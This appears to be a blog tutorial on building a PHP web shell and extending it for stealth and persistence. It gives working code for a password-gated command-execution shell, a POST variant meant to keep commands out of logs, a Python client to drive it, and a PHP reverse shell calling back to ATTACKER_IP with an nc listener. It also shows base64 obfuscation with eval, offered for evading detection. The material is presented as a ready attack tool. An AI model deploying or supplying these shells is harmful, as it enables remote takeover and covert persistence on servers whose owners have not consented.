Thilan Dissanayaka Web App Hacking Apr 27

Building and Extending a PHP Web Shell

A web shell is a script that enables an attacker to gain remote control over a web server.
It is especially useful for post-exploitation tasks, allowing an attacker to execute arbitrary commands remotely.

Web shells exist in many forms — some are designed for PHP environments, others for ASP.NET, JSP, and more.
Additionally, web shells can be classified based on their connection type:

  • Reverse connection (attacker's machine listens).
  • Bind connection (victim's machine listens).

One of the most popular examples is the C99 PHP Shell.
In this article, we will build a basic PHP web shell and gradually extend it into a more advanced and powerful tool.


Why Use a Web Shell?

  • Post-exploitation: execute system commands remotely.
  • Privilege escalation: interact with the system for further attacks.
  • Pivoting: move deeper into a network.
  • Persistence: maintain access to a compromised server.

Building a Basic PHP Web Shell

Let's start by creating a simple PHP web shell that accepts commands through HTTP GET requests.

<?php
define('PASSWORD', 'f8b60df48fae35dfa126a1b6ccc3ceed'); // MD5 of "hacksland"

function auth($password) {
    $input_password_hash = md5($password);
    return strcmp(PASSWORD, $input_password_hash) === 0;
}

if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {
    if (auth($_GET['password'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        die('Access denied!');
    }
}
?>
  • PASSWORD is stored as an MD5 hash.
  • We check for cmd and password in the URL query parameters.
  • If authentication passes, we execute the command and return the output.

Usage Example

You can interact with the shell using your browser:

http://127.0.0.1/shell.php?password=hacksland&cmd=ls

Improving the Shell

Let's make the shell more flexible and stealthy.

1. Switch to system() instead of exec()

system() outputs the command results directly, and may behave better for certain command types.

system($_GET['cmd']);

Other alternatives:

  • shell_exec()
  • passthru()
  • popen()

Depending on the server's configuration, one might work better than others.

2. Hidden via POST Request

Instead of using visible GET parameters, switch to POST parameters:

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd']) && isset($_POST['password'])) {
    if (auth($_POST['password'])) {
        echo '<pre>' . shell_exec($_POST['cmd']) . '</pre>';
    } else {
        die('Access denied!');
    }
}

This way, the commands do not show up in server logs easily.


Building a Python Client

Now, instead of using a browser, let’s create a simple Python client to communicate with our web shell.

import requests
from bs4 import BeautifulSoup

target = "http://127.0.0.1/shell.php"
password = "hacksland"

while True:
    cmd = input("$ ")
    try:
        r = requests.get(target, params={'cmd': cmd, 'password': password})
        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.pre.text)
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")
        break

This client sends the cmd and password parameters to the server and prints the command output neatly.


Advanced Web Shell Techniques

Let's now extend our basic web shell into something more powerful.


1. Reverse Shell in PHP

Instead of executing a single command, we can spawn a full interactive reverse shell back to our machine.

<?php
set_time_limit(0);
$ip = 'ATTACKER_IP';  // Change this
$port = 4444;         // Change this
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
  • Replace ATTACKER_IP with your IP address.
  • Listen with nc -lvnp 4444 from your machine.

Warning: Some servers disable fsockopen() or proc_open() functions.


2. Obfuscate the Shell

To evade simple detection:

  • Use non-standard variable names.
  • Encode the PHP code (e.g., Base64-encode it).
  • Randomize the password hash.

Example (Base64):

<?php eval(base64_decode('ZWNobyAiSGFja2VkIEJ5IExpZ2h0IExpZ2h0IiA7')); ?>
ALSO READ
Common Web Application Technologies
Feb 11 Web App Hacking

# JWT - JSON Web Tokens JWT is short for JSON Web Token. It is a compact and secure way to send information between two parties – like a client (browser) and a server. We usually use JWTs....

Kafka - Interview preparation guide
Jan 28 Interview Guides

## What is Apache Kafka? Apache Kafka is a distributed event streaming platform designed for high-throughput, fault-tolerant, and real-time data streaming. It is used for building real-time data....

GraphQL - Interview preparation guide
Oct 01 Interview Guides

## What is GraphQL? GraphQL is a query language for APIs and a runtime for executing those queries. It allows clients to request exactly the data they need, reducing over-fetching and....

CI/CD concepts - Interview preparation guide
Jan 05 Interview Guides

## What is CI/CD? CI/CD stands for Continuous Integration and Continuous Delivery/Deployment. CI is the practice of automatically integrating code changes from multiple contributors into a....

Introduction to Edge Computing
Mar 23 Computing Concepts

Edge computing is a distributed computing paradigm where computation and data storage are performed closer to the location where it is needed. Instead of relying solely on a centralized data center,....

Exploiting a  Stack Buffer Overflow  on Linux
May 11 Exploit development

Buffer overflow vulnerabilities are one of the most common yet deadly flaws in software security. They can be leveraged by attackers to gain control over a system, run arbitrary code, and escalate....